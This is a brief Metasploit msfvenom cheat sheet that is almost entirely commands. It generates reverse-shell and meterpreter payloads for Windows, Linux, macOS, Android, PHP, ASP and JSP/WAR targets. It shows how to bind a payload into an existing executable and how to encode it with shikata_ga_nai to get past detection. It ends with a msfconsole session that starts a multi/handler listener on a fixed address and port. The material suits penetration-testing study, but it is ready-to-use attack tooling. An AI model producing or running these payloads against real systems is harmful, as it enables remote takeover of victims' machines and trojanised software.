MsfVenom is a Metasploit standalone payload generator as a replacement for msfpayload and msfencode.
The following create different binaries for meterpreter and reverse TCP shells:
msfvenom -p windows/meterpreter/reverse_tcp LHOST={HOST/IP} LPORT={PORT} -f exe > payload.exe
msfvenom -p windows/meterpreter/reverse_http LHOST={HOST/IP} LPORT={PORT} -f exe > payload.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={HOST/IP} LPORT={PORT} -f elf > payload.elf
msfvenom -p osx/x86/shell_reverse_tcp LHOST={HOST/IP} LPORT={PORT} -f macho > example.macho
msfvenom -p android/meterpreter/reverse/tcp LHOST={HOST/IP} LPORT={PORT} R > example.apk
msfvenom -p php/meterpreter_reverse_tcp LHOST={HOST/IP} LPORT={PORT} -f raw > example.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST={HOST/IP} LPORT={PORT} -f asp > example.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST={HOST/IP} LPORT={PORT} -f raw > example.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST={HOST/IP} LPORT={PORT} -f war > example.war
msfvenom -l encoders
msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={HOST/IP} LPORT={PORT} -f exe > example.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST={HOST/IP} LPORT={PORT} -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe > example.exe
msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={HOST/IP} LPORT={PORT} -e x86/shikata_ga_nai -i 3 -b “\x00” -f exe > example.exe
omar@ares:~$ sudo msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > run